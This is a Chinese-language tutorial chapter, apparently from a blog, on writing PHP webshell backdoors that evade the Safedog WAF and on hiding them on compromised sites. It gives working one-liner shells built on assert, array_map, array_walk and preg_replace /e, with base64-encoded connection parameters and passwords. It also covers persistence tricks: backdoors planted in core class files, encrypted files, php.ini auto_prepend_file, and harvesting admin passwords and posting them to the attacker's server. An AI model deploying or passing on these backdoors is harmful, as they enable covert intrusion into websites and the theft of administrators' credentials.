第二章節主要帶給大家一些后門構造思路,與安全狗文件特征檢測的機制。
另外強調一下,這篇文章需要大家對於php有一定的認識。
本章節分為三大部分,第一部分針對初級,分析菜刀php代碼的執行過程,較基礎;第二部分主要總結一些可以利用的后門姿勢,這部分我主要給大家分享一些搜集的后門,希望可以拓展大家的思路;第三部分主要分享后門隱藏之道。
聲明:在后門舉例中大部分后門構造與思路,可能網上都有類似的,如有雷同,來打我呀!
目前主流的waf軟件(如安全狗)一般對於后門文件有主動查殺與被動查殺,主動好理解,被動主要就在於你訪問該文件的時候,對該文件就行查殺,比如鏈接菜刀的時候。
因為安全狗對后門的查殺其實就是對代碼的一個預編譯,去除注釋等無用代碼,遇到if,直接檢查if內部內容。
安全狗獲取其他各種waf有什么樣的特征庫,我們並不能全部知曉,我們能做的只有一點點嘗試,WAF永遠在更新,黑闊門永遠在換套路,幾乎沒有一勞永逸的后門。
說明:如果想更好的過狗,那么php是必須要會的,為了盡量照顧到不會php的同學,本文分享一些猥瑣思路彌補一下。
先來一個最簡單的過狗后門
下面分享的幾個一句話都是可以直接過狗的,雖然很簡單,但此之前,我們來遛一遛狗。
<?php $_GET[a]($_GET[b]);?>
這句話已經可以執行一切命令了,但是必然被殺,
我們可以用extract函數簡單的處理下請求的數據
當然,想要完美過狗,執行更多命令,還需要數據層加工,詳情參考第三章。
經典的回調函數
很多時候並不是給變量多一層加密就安全,其實很多waf對base64_decode相當敏感。
例如:
@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
原理分析:xx參數直接傳入一個assert函數,sofia參數傳入assert(eval('執行代碼'))。
直接暴出array_map后門,試試去掉base64?
沒錯,就這么簡單,最危險的地方就是最安全的地方,起碼文件特征安全狗確實沒有檢測出來。
然而這個一句話D盾是四級的,因為稍微懂點的人都能看出來是個后門。
但是距離實際意義上的過狗還是遠遠不夠的,還需要數據層加工,詳情參考第三章。之后你會發現,就這個一句話修改下post數據,可以完整過狗。
不賣關子:
@array_map(assert,(array)base64_decode($_REQUEST['sofia']));
連接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密碼 :vuln
再來一個回調后門
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']); $arr = array($Base($_POST['sofia']) => '|.*|e',); @array_walk($arr, $_clasc, ''); ?> 這是我之前修改過的一個版本,這里用的其實還是preg_replace后門,也是通過回調函數來實現執行,同樣可以過:
詳解: 帶入參數:
vuln=cHJlZ19yZXBsYWNl(preg_replace)
sofia=cGhwaW5mbygp(phpinfo())
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace $arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e') @array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'') ?>
網上有很多現成的回調函數或者其他方式來過特征檢測,再這里就不重復造輪子了。
代碼隱藏
權限維持也是滲透中重要的環節,隱藏的不到位第二天就掉權限,猥瑣的后門能一輩子跟隨。
方法一:遠程讀取或者include文件
這個方法比較常見,如:
<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}
但是就個人而言,我一眼看上就覺得有鬼,哪個正常程序會鬼畜到包含一個日志文件或者圖片,當然也要根據場景來定。
方法二:
將代碼放到核心函數文件中,做好文件時間修改,只要查殺不出來,一般站長也不會去動核心文件,也是具有一定隱蔽性的,
方法二:創建類或者函數,分離后門代碼
這樣的話基本上很難查殺了,比如再global_function.php類的文件中創建一個類,或者函數,在所調用這個核心函數的相關文件中實例化一個類,調用函數,那么也是妥妥執行的。
如:把class放到核心類文件中,在相關的調用文件中放入執行代碼,隱蔽性會加強很多。
<?php
class Parse_Args {
public function apply_filters($key) {
assert($key);
}
}
//執行代碼
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);
?>
方法四:直接加密代碼
直接將后門文件加密,
其實這就只是eval($_POST[x])加密后的結果,還需要構造什么?但是在滲透過程中可用性並不是很高,很多時候要寫入后門代碼,這根本沒法寫的,只能作為一種維持手段。
方法五:創建手工后門
php不僅可以獲取get,post數據還是可以獲取server數據的,如user-agent,referrer,cookie,client ip,所以我們完全可以在這些參數中加入需要執行的代碼,但需要注意的是有的參數日志中會記錄,這里僅提供思路,大家根據實際情況取發揮。
方法五:間接維持后台權限,
可以直接在后台登陸頁所include的核心函數中加入獲取用戶名密碼的代碼,如直接生成到本地服務器的一個txt中(可以加密下),記住這個隱蔽的url,時不時就會有密碼記錄,或者遠程post密碼到自己的服務器上。
可以在后台頁面中插入一個xss,這種效率相對較低,但是也是一種思路。
方法六:來硬的
這種方法只能針對中小站長,找到一個網站的核心但是又不常用的文件,比如lang文件等等,將自己后門加入,然后將整個文件加密,再替換源文件,功能一切正常,站長對這類文件不會起太大疑心。
這個思路也可以結合方法三。
方法七:php.ini后門
修改php.ini配置來達到每個頁面都執行某個后門,每個php都是后門,比如可以配置auto_prepend_file,自動加載某個文件,這部分后期抽時間再單獨寫出來。